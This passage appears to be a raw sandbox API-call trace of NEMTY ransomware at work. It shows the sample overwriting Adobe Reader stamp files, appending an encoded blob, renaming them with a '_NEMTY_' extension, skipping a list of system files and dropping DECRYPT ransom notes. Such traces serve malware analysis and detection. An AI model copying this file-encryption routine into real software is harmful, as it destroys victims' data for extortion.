pdwDataLen=0x653df50*=0x100) returned 1 [0189.133] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.133] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="6P/BZp80orOQ96q1zRC4h9Fi57ge2qgfmiAzULEo+L4kgIIatR7b2I8EDO5XKlmb\r\ngrq6u4PJJndFk+/24til2iASIIOqF3/HOYVQe74lEE3worJJicR8wpOT1hQkOJeD\r\n6NbZzpEY5zKbvFUmlzpNj0FzLJK0qyE+fsITak2UQYVXxFlUR8BQCbJmYMkYXWSH\r\nK07HaUFOh9wvMOVrG42FQ0BJ0iykUdVrK03TfRNEFuTEvU7vCLvK0k/HGdWNISN2\r\niio3Ooad7RYgP3TMzV6/Z6hVJ2iL2vnZvaIi2FI65L29Ez6Zp6EQO6wLyd6iNxe7\r\nb8zaO4iHGvDDC9Ff+EXLrA==\r\n", pcchString=0x653df5c) returned 1 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.133] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=98296) returned 1 [0189.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17ff0) returned 0x6352c48 [0189.134] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.134] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x17ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x17ff0, lpOverlapped=0x0) returned 1 [0189.141] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.141] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x17ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x17ff0, lpOverlapped=0x0) returned 1 [0189.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.142] SetFilePointer (in: hFile=0x320, lDistanceToMove=98296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17ff8 [0189.142] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.142] CloseHandle (hObject=0x320) returned 1 [0189.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.142] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.143] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24575db0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24575db0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2459bf10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.143] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.144] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.145] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24575db0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24575db0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2459bf10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.145] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.145] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="POL", cAlternateFileName="")) returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2=".") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="..") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="...") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="windows") returned -1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="$RECYCLE.BIN") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="rsa") returned -1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="NTDETECT.COM") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="ntldr") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="MSDOS.SYS") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="IO.SYS") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="AUTOEXEC.BAT") returned 1 [0189.145] lstrcmpiW (lpString1="POL", lpString2="ntuser.dat") returned 1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="desktop.ini") returned 1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="CONFIG.SYS") returned 1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="RECYCLER") returned -1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="BOOTSECT.BAK") returned 1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="bootmgr") returned 1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="programdata") returned -1 [0189.146] lstrcmpiW (lpString1="POL", lpString2="appdata") returned 1 [0189.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0189.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0189.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0189.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0189.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.149] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.149] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.150] CloseHandle (hObject=0x2f0) returned 1 [0189.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0189.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.151] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.151] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.152] CloseHandle (hObject=0x2f0) returned 1 [0189.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24634490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24634490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.152] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.152] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24634490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24634490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.152] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.152] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.152] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 